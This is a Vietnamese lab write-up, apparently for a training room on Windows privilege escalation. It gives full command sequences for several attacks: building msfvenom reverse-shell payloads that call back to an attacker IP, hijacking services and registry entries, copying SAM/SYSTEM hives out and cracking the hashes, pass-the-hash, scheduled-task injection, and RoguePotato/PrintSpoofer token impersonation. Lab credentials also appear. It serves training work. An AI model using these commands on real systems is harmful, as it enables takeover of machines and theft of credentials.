Skip to main content

Command Palette

Search for a command to run...

Windows PrivEsc

Updated
8 min readView as Markdown
  1. Generate a Reverse Shell Executable

  2. Service Exploits - Insecure Service Permissions

  3. Service Exploits - Unquoted Service Path

  4. Service Exploits - Weak Registry Permissions

  5. Service Exploits - Insecure Service Executables (Modifiable Service Files)

  6. Registry - AutoRuns

  7. Registry - AlwaysInstallElevated

  8. Passwords - Registry

  9. Passwords - Saved Creds

  10. Passwords - Security Account Manager (SAM)

  11. Passwords - Passing the Hash

  12. Scheduled Tasks

  13. Insecure GUI Apps

  14. Startup Apps

  15. Token Impersonation - Rogue Potato

  16. Token Impersonation - PrintSpoofer

Tham khảo

Bắt đầu

xfreerdp /u:user /p:password321 /cert:ignore /v:10.10.54.27

Generate a Reverse Shell Executable

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.21.227.96 LPORT=53 -f exe -o reverse.exe

sudo impacket-smbserver kali .

copy \\10.21.227.96\kali\reverse.exe C:\PrivEsc\reverse.exe
C:\PrivEsc\reverse.exe

Service Exploits - Insecure Service Permissions

C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc

SERVICE_CHANGE_CONFIG → user có thể thay đổi cấu hình service.

Quyền thay đổi cấu hình → đổi đường dẫn BINARY_PATH_NAME thành file thực thi tùy ý (ví dụ reverse shell hoặc cmd.exe).

sc qc daclsvc

PE

sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""
net start daclsvc

Service Exploits - Unquoted Service Path

sc qc unquotedsvc

SERVICE_START_NAME : LocalSystem → service chạy với quyền SYSTEM.

BINARY_PATH_NAME : C:\Program Files\Unquoted Path Service\SomeBinary.exe → đường dẫn có spaces nhưng không có dấu ngoặc kép.

Windows khi parse path sẽ thử lần lượt:

  • C:\Program.exe

  • C:\Program Files\Unquoted.exe

  • C:\Program Files\Unquoted Path Service\Common.exe

Sử dụng accesschk.exe, BUILTIN\Users được phép ghi (write) vào thư mục C:\Program Files\Unquoted Path Service\

C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"

Ý nghĩa tham số:

  • /accepteula → tự động chấp nhận EULA.

  • -u → chỉ ra user/group.

  • -w → kiểm tra quyền ghi (write).

  • -d → liệt kê quyền với directories.

  • -q → im lặng, chỉ show kết quả quan trọng.

Thực hiện đổi tên revershell thành Common.exe

copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
net start unquotedsvc

Service Exploits - Weak Registry Permissions

Service này chạy với quyền localsystem

sc qc regsvc

Dùng accesschk.exe, lưu ý rằng registry entry của service regsvc có thể được ghi (writable) bởi group "NT AUTHORITY\INTERACTIVE" (nghĩa là tất cả user đã đăng nhập).

C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

NT AUTHORITY\INTERACTIVEKEY_ALL_ACCESS.

  • INTERACTIVE nghĩa là tất cả user đang đăng nhập local đều thuộc nhóm này.

  • KEY_ALL_ACCESS = bạn có toàn quyền (đọc/ghi/xóa/sửa) trên registry key đó.

Ghi đè (overwrite) khóa registry ImagePath để trỏ đến file thực thi reverse.exe đã tạo.

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f

Mỗi Windows service được định nghĩa trong registry, ví dụ:

HKLM\SYSTEM\CurrentControlSet\Services\regsvc

Trong key này có một giá trị quan trọng: ImagePath, chứa đường dẫn đến file .exe sẽ chạy khi service khởi động.
Ví dụ:

ImagePath    REG_EXPAND_SZ    C:\Program Files\Reg Service\regsvc.exe

Nếu bạn có quyền write vào key đó (như phát hiện bằng accesschk), bạn có thể thay đổi đường dẫn để nó chạy một file do bạn kiểm soát, ví dụ C:\PrivEsc\reverse.exe.

Rồi start service

net start regsvc

Service Exploits - Insecure Service Executables (Modifiable Service Files)

Vẫn phải kiểm tra service chạy dưới quyền LocalSystem

sc qc filepermsvc

Sử dụng công cụ accesschk.exe, hãy kiểm tra và ghi nhận rằng file thực thi của service (được chỉ định trong BINARY_PATH_NAME) có quyền ghi (writable) cho tất cả mọi người.

C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"

Do đó có thể ghi đè file filepermservice.exe bằng file revershell.

copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
net start filepermsvc

Registry - AutoRuns

Truy vấn registry để liệt kê các chương trình được cấu hình tự động chạy khi Windows khởi động.

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Dùng accesschk.exe để kiểm tra quyền, và nhận thấy rằng một trong những file thực thi AutoRun có quyền ghi (writable) cho tất cả mọi người.

C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"

Sau đó copy file revershell vào Folder Autorun

copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y
rdesktop 10.10.54.27

Sau đó chờ người khác login.

Registry - AlwaysInstallElevated

AlwaysInstallElevated là một Windows Installer policy.

Khi cả HKLM (machine-wide) và HKCU (per-user) cùng có giá trị 1, thì mọi file MSI (Windows Installer package) sẽ được cài đặt với quyền SYSTEM.

Query registry AlwaysInstallElevated phải có value 0×01

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Do đó tạo file revershell.msi

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.21.227.96 LPORT=53 -f msi -o reverse.msi

Copy vào

Hoặc

msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

Passwords - Registry

(Tuỳ lúc lab sẽ có kết quả → Nếu không trả về thì …)

Tìm password trong registry. Có thể quét toàn bộ registry(ra nhiều kết quả):

reg query HKLM /f password /t REG_SZ /s

Nhưng để tiết kiệm thời gian chỉ chú ý tới AutoLogon

C:\Users\user>reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\winlogon
    AutoRestartShell    REG_DWORD    0x1
    Background    REG_SZ    0 0 0
    CachedLogonsCount    REG_SZ    10
    DebugServerCommand    REG_SZ    no
    DefaultDomainName    REG_SZ    
    DefaultUserName    REG_SZ    admin
    DisableBackButton    REG_DWORD    0x1
    EnableSIHostIntegration    REG_DWORD    0x1
    ForceUnlockLogon    REG_DWORD    0x0
    LegalNoticeCaption    REG_SZ    
    LegalNoticeText    REG_SZ    
    PasswordExpiryWarning    REG_DWORD    0x5
    PowerdownAfterShutdown    REG_SZ    0
    PreCreateKnownFolders    REG_SZ    {A520A1A4-1780-4FF6-BD18-167343C5AF16}
    ReportBootOk    REG_SZ    1
    Shell    REG_SZ    explorer.exe
    ShellCritical    REG_DWORD    0x0
    ShellInfrastructure    REG_SZ    sihost.exe
    SiHostCritical    REG_DWORD    0x0
    SiHostReadyTimeOut    REG_DWORD    0x0
    SiHostRestartCountLimit    REG_DWORD    0x0
    SiHostRestartTimeGap    REG_DWORD    0x0
    Userinit    REG_SZ    C:\Windows\system32\userinit.exe,
    VMApplet    REG_SZ    SystemPropertiesPerformance.exe /pagefile
    WinStationsDisabled    REG_SZ    0
    scremoveoption    REG_SZ    0
    DisableCAD    REG_DWORD    0x1
    LastLogOffEndTimePerfCounter    REG_QWORD    0x236f172d
    ShutdownFlags    REG_DWORD    0x7
    AutoAdminLogon    REG_SZ    0
    AutoLogonSID    REG_SZ    S-1-5-21-3025105784-3259396213-1915610826-1001
    LastUsedUsername    REG_SZ    admin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\winlogon\AlternateShells
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\winlogon\GPExtensions
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\winlogon\UserDefaults
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\winlogon\AutoLogonChecked
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\winlogon\VolatileUserMgrKey

Các giá trị hay gặp:DefaultUserName, DefaultPassword, AutoAdminLogon. Nếu DefaultPassword tồn tại →lấy được password admin. Nếu không có (một số lab không lưu pass)
Sau đó từ máy kali dùng winexe để spawn administrator.

winexe -U 'admin%password123' //10.10.16.130 cmd.exe

\=> Không xuất hiện pass có thể lab lỗi.

Passwords - Saved Creds

Liệt kê tất cả credentials đã lưu

cmdkey /list

Sau đó có thể dùng credentials đã save để login

runas /savecred /user:admin C:\PrivEsc\reverse.exe

Passwords - Security Account Manager (SAM)

Các tệp SAMSYSTEM có thể được sử dụng để trích xuất hash mật khẩu người dùng.

Lấy các tệp này ra máy kali

copy C:\Windows\Repair\SAM \\10.21.227.96\kali\
copy C:\Windows\Repair\SYSTEM \\10.21.227.96\kali\

Trên Kali, hãy clone repository creddump7 (phiên bản có sẵn trên Kali đã lỗi thời và sẽ không trích xuất được hash chính xác trên Windows 10!).

Sau đó, sử dụng nó để dump các hash từ tệp SAMSYSTEM.

git clone https://github.com/Tib3rius/creddump7
pip3 install pycrypto
python3 creddump7/pwdump.py SYSTEM SAM

Sau đó crack admin HTML bằng hashcat

hashcat -m 1000 --force <hash> /usr/share/wordlists/rockyou.txt

Passwords - Passing the Hash

Cái này chỉ là lấy hash được account rồi pth.

pth-winexe -U 'admin%hash' //10.10.16.130 cmd.exe

Scheduled Tasks

Đọc content tại C:\DevTools\CleanUp.ps1`

type  C:\DevTools\CleanUp.ps1

Tập lệnh này đang được lập lịc là chạy với quyền SYSTEM mỗi phút. Sử dụng accesschk.exe để xác định có quyền ghi.

C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1

Do đó thêm dòng chạy revershell rồi chờ cho Scheduled Task chạy.

echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1

Insecure GUI Apps

Kết nối RDP bằng tài khoản "user":

rdesktop -u user -p password321 10.10.16.130

Chạy "AdminPaint": Double-click shortcut AdminPaint trên Desktop. Đây là một chương trình (Paint) nhưng được cấu hình chạy với quyền admin.

Xác nhận Paint chạy với admin privileges

tasklist /V | findstr mspaint.exe

Lợi dụng hộp thoại "Open" trong Paint: Trong Paint, bấm File → Open. Ở thanh điều hướng (navigation input box), dán đường dẫn:

file://c:/windows/system32/cmd.exe

Nhấn Enter → sẽ mở cmd.exe nhưng sẽ là quyền admin từ Paint.

Startup Apps

Sử dụng accesschk.exe, chú ý BUILTIN\Users phải có quyền write files vào thư mục StartUp:

C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

Sử dụng cscript, chạy script C:\PrivEsc\CreateShortcut.vbs, script này sẽ tạo một shortcut mới trỏ đến file reverse.exe thư mục StartUp.

cscript C:\PrivEsc\CreateShortcut.vbs

Sau đó chờ admin login vào.

Token Impersonation - Rogue Potato

Thiết lập socat redirector trên Kali, chuyển tiếp cổng 135 của Kali sang cổng 9999 trên Windows:

sudo socat tcp-listen:135,reuseaddr,fork tcp:10.10.16.130:9999

Khởi động một listener trên Kali. Mô phỏng việc lấy shell của tài khoản dịch vụ bằng cách đăng nhập RDP với user admin, mở một command prompt với quyền Administrator (Run as administrator) và chạy PSExec64.exe để kích hoạt file reverse.exe mà bạn đã tạo với quyền của tài khoản "local service":

C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

Khởi động một listener khác trên Kali. Bây giờ, trong reverse shell của "local service" mà bạn vừa có được, chạy RoguePotato exploit để kích hoạt một reverse shell thứ hai chạy với quyền SYSTEM.

C:\PrivEsc\RoguePotato.exe -r 10.21.227.96 -e "C:\PrivEsc\reverse.exe" -l 9999

Token Impersonation - PrintSpoofer

Khởi động một listener trên Kali. Mô phỏng việc lấy shell của tài khoản dịch vụ bằng cách đăng nhập RDP với user admin, mở một Command Prompt với quyền Administrator và sử dụng PSExec64.exe để kích hoạt file reverse.exe mà bạn đã tạo, nhưng lần này chạy với quyền của tài khoản "local service":

C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

Khởi động một listener khác trên Kali. Bây giờ, trong reverse shell của "local service" mà bạn vừa có được, chạy PrintSpoofer exploit để kích hoạt một reverse shell thứ hai chạy với quyền SYSTEM.

C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i